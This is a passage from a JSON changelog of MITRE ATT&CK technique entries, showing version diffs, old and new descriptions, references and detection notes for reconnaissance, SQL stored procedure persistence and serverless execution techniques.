{\"root['external_references'][1]\": {\"source_name\": \"D3Secutrity CTI Feeds\", \"description\": \"Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.\", \"url\": \"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search and gather information about victims t1Adversaries may search and gather information about victims 
>from closed sources that can be used during targeting. Infor>from closed (e.g., paid, private, or otherwise not freely av
>mation about victims may be available for purchase from repu>ailable) sources that can be used during targeting. Informat
>table private sources and databases, such as paid subscripti>ion about victims may be available for purchase from reputab
>ons to feeds of technical/threat intelligence data.(Citation>le private sources and databases, such as paid subscriptions
>: D3Secutrity CTI Feeds) Adversaries may also purchase infor> to feeds of technical/threat intelligence data. Adversaries
>mation from less-reputable sources such as dark web or cyber> may also purchase information from less-reputable sources s
>crime blackmarkets.(Citation: ZDNET Selling Data)  Adversari>uch as dark web or cybercrime blackmarkets.(Citation: ZDNET 
>es may search in different closed databases depending on wha>Selling Data)  Adversaries may search in different closed da
>t information they seek to gather. Information from these so>tabases depending on what information they seek to gather. I
>urces may reveal opportunities for other forms of reconnaiss>nformation from these sources may reveal opportunities for o
>ance (ex: [Phishing for Information](https://attack.mitre.or>ther forms of reconnaissance (ex: [Phishing for Information]
>g/techniques/T1598) or [Search Open Websites/Domains](https:>(https://attack.mitre.org/techniques/T1598) or [Search Open 
>//attack.mitre.org/techniques/T1593)), establishing operatio>Websites/Domains](https://attack.mitre.org/techniques/T1593)
>nal resources (ex: [Develop Capabilities](https://attack.mit>), establishing operational resources (ex: [Develop Capabili
>re.org/techniques/T1587) or [Obtain Capabilities](https://at>ties](https://attack.mitre.org/techniques/T1587) or [Obtain 
>tack.mitre.org/techniques/T1588)), and/or initial access (ex>Capabilities](https://attack.mitre.org/techniques/T1588)), a
>: [External Remote Services](https://attack.mitre.org/techni>nd/or initial access (ex: [External Remote Services](https:/
>ques/T1133) or [Valid Accounts](https://attack.mitre.org/tec>/attack.mitre.org/techniques/T1133) or [Valid Accounts](http
>hniques/T1078)).>s://attack.mitre.org/techniques/T1078)).
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:51:50.306000+00:00", + "modified": "2024-10-02 18:52:21.278000+00:00", + "name": "Search Victim-Owned Websites", + "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1594", + "external_id": "T1594" + }, + { + "source_name": "Perez Sitemap XML 2023", + "description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.", + "url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a" + }, + { + "source_name": "Comparitech Leak", + "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.", + "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/" + }, + { + "source_name": "Register Robots TXT 2015", + "description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.", + "url": "https://www.theregister.com/2015/05/19/robotstxt/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "James P Callahan, Professional Paranoid" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_contributors']\": [\"James P Callahan, Professional Paranoid\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-02 18:52:21.278000+00:00\", \"old_value\": \"2021-04-15 03:53:33.023000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\\n\\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\\n\\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) \", \"old_value\": \"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\\n\\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\\n \\n Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\\n+\\n+In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Perez Sitemap XML 2023\", \"description\": \"Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.\", \"url\": \"https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a\"}, \"root['external_references'][3]\": {\"source_name\": \"Register Robots TXT 2015\", \"description\": \"Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.\", \"url\": \"https://www.theregister.com/2015/05/19/robotstxt/\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search websites owned by the victim for infot1Adversaries may search websites owned by the victim for info
>rmation that can be used during targeting. Victim-owned webs>rmation that can be used during targeting. Victim-owned webs
>ites may contain a variety of details, including names of de>ites may contain a variety of details, including names of de
>partments/divisions, physical locations, and data about key >partments/divisions, physical locations, and data about key 
>employees such as names, roles, and contact info (ex: [Email>employees such as names, roles, and contact info (ex: [Email
> Addresses](https://attack.mitre.org/techniques/T1589/002)).> Addresses](https://attack.mitre.org/techniques/T1589/002)).
> These sites may also have details highlighting business ope> These sites may also have details highlighting business ope
>rations and relationships.(Citation: Comparitech Leak)  Adve>rations and relationships.(Citation: Comparitech Leak)  Adve
>rsaries may search victim-owned websites to gather actionabl>rsaries may search victim-owned websites to gather actionabl
>e information. Information from these sources may reveal opp>e information. Information from these sources may reveal opp
>ortunities for other forms of reconnaissance (ex: [Phishing >ortunities for other forms of reconnaissance (ex: [Phishing 
>for Information](https://attack.mitre.org/techniques/T1598) >for Information](https://attack.mitre.org/techniques/T1598) 
>or [Search Open Technical Databases](https://attack.mitre.or>or [Search Open Technical Databases](https://attack.mitre.or
>g/techniques/T1596)), establishing operational resources (ex>g/techniques/T1596)), establishing operational resources (ex
>: [Establish Accounts](https://attack.mitre.org/techniques/T>: [Establish Accounts](https://attack.mitre.org/techniques/T
>1585) or [Compromise Accounts](https://attack.mitre.org/tech>1585) or [Compromise Accounts](https://attack.mitre.org/tech
>niques/T1586)), and/or initial access (ex: [Trusted Relation>niques/T1586)), and/or initial access (ex: [Trusted Relation
>ship](https://attack.mitre.org/techniques/T1199) or [Phishin>ship](https://attack.mitre.org/techniques/T1199) or [Phishin
>g](https://attack.mitre.org/techniques/T1566)).>g](https://attack.mitre.org/techniques/T1566)).  In addition
 > to manually browsing the website, adversaries may attempt t
 >o identify hidden directories or files that could contain ad
 >ditional sensitive information or vulnerable functionality. 
 >They may do this through automated activities such as [Wordl
 >ist Scanning](https://attack.mitre.org/techniques/T1595/003)
 >, as well as by leveraging files such as sitemap.xml and rob
 >ots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Registe
 >r Robots TXT 2015) 
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-12 14:59:58.168000+00:00", + "modified": "2024-10-15 16:05:24.007000+00:00", + "name": "SQL Stored Procedures", + "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/001", + "external_id": "T1505.001" + }, + { + "source_name": "Microsoft CLR Integration 2017", + "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017" + }, + { + "source_name": "Microsoft xp_cmdshell 2017", + "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017" + }, + { + "source_name": "Kaspersky MSSQL Aug 2019", + "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.", + "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/" + }, + { + "source_name": "NetSPI Startup Stored Procedures", + "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.", + "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/" + }, + { + "source_name": "NetSPI SQL Server CLR", + "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.", + "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Carlos Borges, @huntingneo, CIP", + "Lucas da Silva Pereira, @vulcanunsec, CIP", + "Kaspersky" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"SYSTEM\", \"root\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:05:24.007000+00:00\", \"old_value\": \"2020-03-25 23:30:20.638000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \\u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.\", \"old_value\": \"Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \\u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019.\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/\", \"old_value\": \"https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/\", \"new_path\": \"root['external_references'][4]['url']\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.\", \"old_value\": \"Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/\", \"old_value\": \"https://blog.netspi.com/attacking-sql-server-clr-assemblies/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-27 13:19:51.112000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Serverless Execution", + "description": "Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1648", + "external_id": "T1648" + }, + { + "source_name": "Microsoft DART Case Report 001", + "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.", + "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team" + }, + { + "source_name": "Backdooring an AWS account", + "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.", + "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9" + }, + { + "source_name": "Varonis Power Automate Data Exfiltration", + "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.", + "url": "https://www.varonis.com/blog/power-automate-data-exfiltration" + }, + { + "source_name": "Cloud Hack Tricks GWS Apps Script", + "description": "HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.", + "url": "https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts" + }, + { + "source_name": "OWN-CERT Google App Script 2024", + "description": "L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.", + "url": "https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis" + }, + { + "source_name": "Cado Security Denonia", + "description": "Matt Muir. (2022, April 6). Cado Discovers Denonia: The First Malware Specifically Targeting Lambda. Retrieved May 27, 2022.", + "url": "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Rhino Security Labs. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + }, + { + "source_name": "Rhingo Security Labs GCP Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform \u2013 Part 1 (IAM). Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Shailesh Tiwary (Indian Army)", + "Praetorian", + "Oleg Kolesnikov, Securonix", + "Cisco", + "Varonis Threat Labs", + "Alex Soler, AttackIQ", + "Vectra AI", + "OWN" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "IaaS", + "Office Suite" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-05 16:13:38.643000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \\n\\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\\n\\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)\", \"old_value\": \"Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \\n\\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\\n\\nServerless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)\\n \\n-Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\\n+Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Cloud Hack Tricks GWS Apps Script\", \"description\": \"HackTricks Cloud. (n.d.). GWS - App Scripts. Retrieved July 1, 2024.\", \"url\": \"https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts\"}, \"root['external_references'][5]\": {\"source_name\": \"OWN-CERT Google App Script 2024\", \"description\": \"L'Hutereau Arnaud. (n.d.). Google Workspace Malicious App Script analysis. Retrieved October 2, 2024.\", \"url\": \"https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis\"}, \"root['x_mitre_contributors'][7]\": \"OWN\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n 